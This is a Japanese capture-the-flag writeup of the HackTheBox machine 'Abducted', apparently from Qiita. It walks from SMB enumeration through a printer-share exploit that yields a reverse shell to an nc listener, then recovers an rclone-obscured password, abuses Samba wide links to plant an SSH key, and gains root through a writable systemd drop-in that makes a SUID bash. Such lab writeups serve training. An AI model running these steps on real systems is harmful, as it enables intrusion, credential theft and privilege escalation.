0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【HackTheBox】Abducted:Writeup

0
Posted at

概要

HackTheBox「Abducted」のWriteupです。

User Flag

ポートスキャンを実行します。

$ nmap -Pn -sCV -T4 -p- 10.129.244.177 -oN nmap_result

PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_  256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
139/tcp open  netbios-ssn Samba smbd 4
445/tcp open  netbios-ssn Samba smbd 4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_nbstat: NetBIOS name: ABDUCTED, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-time: 
|   date: 2026-09-01T15:49:02
|_  start_date: N/A
|_clock-skew: 6m15s

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 9.6p1
139 smb smbd 4
445 smb smbd 4

SMBの共有情報を列挙します。

$ smbclient -L //10.129.244.177 -N

        Sharename       Type      Comment
        ---------       ----      -------
        HP-Reception    Printer   Reception printer
        projects        Disk      Hartley Group Project Files
        transfer        Disk      Staff file transfer
        IPC$            IPC       IPC Service (Hartley Group Document Services)

プリンターに接続できました。

$ smbclient //10.129.244.177/HP-Reception -N
Try "help" to get a list of possible commands.
smb: \>

smb printers cveで検索するとCVE-2026-4480がヒットしました。

POCは以下リポジトリを使用します。

POCを実行します。

$ python3 exploit.py 10.129.244.177 10.10.17.186 1234                        
[*] target   : 10.129.244.177 (\\10.129.244.177\HP-Reception)
[*] callback : 10.10.17.186:1234  (start a listener first: nc -lvnp 1234)
[+] print job submitted -- check your listener / out-of-band channel

リバースシェルに成功しました。

$ nc -lvnp 1234                                       
listening on [any] 1234 ...
connect to [10.10.17.186] from (UNKNOWN) [10.129.244.177] 33378
bash: cannot set terminal process group (1654): Inappropriate ioctl for device
bash: no job control in this shell
nobody@abducted:/var/spool/samba$ id
id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)

TTYの設定をします。

$ python3  -c "import pty;pty.spawn('/bin/bash')"

optディレクトリを確認します。

nobody@abducted:/var/spool$ ls -al /opt
ls -al /opt
total 12
drwxr-xr-x  3 root root 4096 Jun  4 13:41 .
drwxr-xr-x 23 root root 4096 Jun  4 13:41 ..
drwxr-xr-x  2 root root 4096 Jun  4 13:41 offsite-backup

設定ファイルを確認すると暗号化されたパスワードを確認できました。

nobody@abducted:/opt/offsite-backup$ cat rclone.conf
cat rclone.conf
[offsite]
type = sftp
host = backup.hartley-group.internal
user = svc-backup
pass = HZKAxfnMj-nLm59X9gpcC2ohjQL-WqVT6yRsNw
shell_type = unix
nobody@abducted:/opt/offsite-backup$ cat sync.sh
cat sync.sh
#!/bin/bash
/usr/bin/rclone --config /opt/offsite-backup/rclone.conf sync /srv/projects offsite:projects

rcloneのコマンドをオプションを用いて、平文がiXzvcib3SrpZであることを確認しました。

nobody@abducted:/srv$ /usr/bin/rclone reveal HZKAxfnMj-nLm59X9gpcC2ohjQL-WqVT6yRsNw
<clone reveal HZKAxfnMj-nLm59X9gpcC2ohjQL-WqVT6yRsNw
iXzvcib3SrpZ

scottアカウントに昇格出来ました。

nobody@abducted:/srv$ su scott
su scott
Password: iXzvcib3SrpZ

scott@abducted:/srv$ id
id
uid=1000(scott) gid=1001(scott) groups=1001(scott)

ユーザフラグを入手できました。

scott@abducted:~$ cat user.txt
cat user.txt
c1e90ec9fc1d3c8e5fba5fc2651f5581

Root Flag

SMBの共有設定を確認します。
transferはforce user = marcusが設定されています。
これにより、ファイル操作をmarcusアカウントの権限で実行できます。
また、wide links = yesが設定されています。
これにより、/srv/transfer外のファイルでもシンボリックリンクで参照が可能になります。

/etc/samba/shares.conf
[HP-Reception]
   comment = Reception printer
   path = /var/spool/samba
   printable = yes
   guest ok = yes
   print command = /usr/local/bin/printaudit %J %s
   lpq command = /bin/true
   lprm command = /bin/true

[projects]
   comment = Hartley Group Project Files
   path = /srv/projects
   valid users = scott
   read only = no
   browseable = yes

[transfer]
   comment = Staff file transfer
   path = /srv/transfer
   valid users = scott
   force user = marcus
   read only = no
   wide links = yes
   browseable = yes

/home/marcusを参照できるように、シンボリックリンクを設置します。

$ ln -s /home/marcus /srv/transfer/mh

SSHの公開鍵をシンボリックリンク経由でputし、/home/marcus/.sshフォルダ内に設置します。

$ smbclient //127.0.0.1/transfer -U 'scott%iXzvcib3SrpZ' -c 'mkdir mh/.ssh; put /tmp/id_rsa.pub mh/.ssh/authorized_keys'
putting file /tmp/id_rsa.pub as \mh\.ssh\authorized_keys (274.9 kb/s) (average 274.9 kb/s)

marcusでssh接続に成功しました。

$ ssh -i ~/.ssh/id_rsa marcus@10.129.18.158
marcus@abducted:~$

marcusはoperatorsグループに所属していることを確認しました。

marcus@abducted:~$ id
uid=1001(marcus) gid=1002(marcus) groups=1002(marcus),1000(operators)

所属グループの権限で操作できるファイルを探します。

$ find / -group operators 2>/dev/null
/etc/systemd/system/smbd.service.d

書き込み可能なシステムファイルがありました。

$ ls -la /etc/systemd/system/
drwxrws---  2 root operators 4096 Jun  4 13:41 smbd.service.d

smbd.service.d配下に設定ファイルを設置します。
デーモン起動時にbashバイナリファイルをコピーします。

exploit.conf
[Service]
ExecStartPre=/bin/cp /bin/bash /tmp/bash_cp
ExecStartPre=/bin/chmod 4755 /tmp/bash_cp

デーモンを再起動することで、SUIDビットが付与されたbashを用意できました。

$ systemctl daemon-reload
$ systemctl restart smbd
$ ls -la /tmp/
-rwsr-xr-x  1 root  root  1446024 Sep 12 07:13 bash_cp

これによりroot権限を取得できました。

$ /tmp/bash_cp -p
bash_cp-5.2# id
uid=1001(marcus) gid=1002(marcus) euid=0(root) groups=1002(marcus),1000(operators)

ルートフラグを入手できました。

bash_cp-5.2# cat /root/root.txt 
2388e71db2dd3f8361293e6b668322b7
0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?